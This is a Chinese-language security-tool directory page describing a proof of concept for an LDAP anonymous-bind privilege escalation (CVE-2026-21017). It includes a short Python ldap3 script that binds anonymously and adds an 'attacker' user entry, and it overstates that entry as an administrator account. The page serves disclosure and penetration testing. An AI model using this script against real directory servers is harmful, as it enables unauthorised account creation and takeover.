Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-21017-LDAP-Anonymous-Bind-Privilege-Escalation — 用于 LDAP 匿名绑定权限提升的 Python 概念验证,模拟不安全的 ACL,通过未认证的 LDAP 绑定创建管理员用户。 | Kitploit
工具/GitHubGitHub/george0papasotiriou/cve-2026-21017-ldap-anonymous-bind-privilege-escalation
身份验证与授权权限提升漏洞分析漏洞利用渗透测试错误配置
GitHubgeorge0papasotiriou/cve-2026-21017-ldap-anonymous-bind-privilege-escalation

CVE-2026-21017-LDAP-Anonymous-Bind-Privilege-Escalation

用于 LDAP 匿名绑定权限提升的 Python 概念验证,模拟不安全的 ACL,通过未认证的 LDAP 绑定创建管理员用户。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
16天前尚未审核

CVE-2026-21017 – LDAP 匿名绑定权限提升

程序代码(Python ldap3 模拟)

root@kitploit:~
# ldap_anon_sim.py - LDAP server allowing anonymous bind with write access
from ldap3 import Server, Connection, ALL

# Simulated: real server would be misconfigured
server = Server('ldap://localhost:389', get_info=ALL)
conn = Connection(server, authentication='ANONYMOUS')
conn.bind()
# If anonymous has write permission to userPassword, can add self as admin
conn.add('uid=attacker,ou=people,dc=example,dc=com', ['inetOrgPerson'], {'uid': 'attacker', 'userPassword': 'password'})
print("User created anonymously!")

CVE-2026-21017 – LDAP 匿名绑定权限提升

Severity: Critical

概述

LDAP 目录被错误配置为允许匿名绑定,并且还授予对敏感属性(如 userPassword)的写访问权限。攻击者可以匿名绑定并创建一个新的管理员用户,从而提升权限。

漏洞详情

  • 类型: 访问控制不足
  • 影响: 目录被完全攻陷。
  • 根本原因: 访问控制列表(ACL)未将写入操作限制为仅限已认证用户。

漏洞利用演示

运行模拟(实际测试需要真实的 LDAP 服务器,此处展示概念):

root@kitploit:~
python ldap_anon_sim.py

该脚本尝试匿名添加用户。

下载工具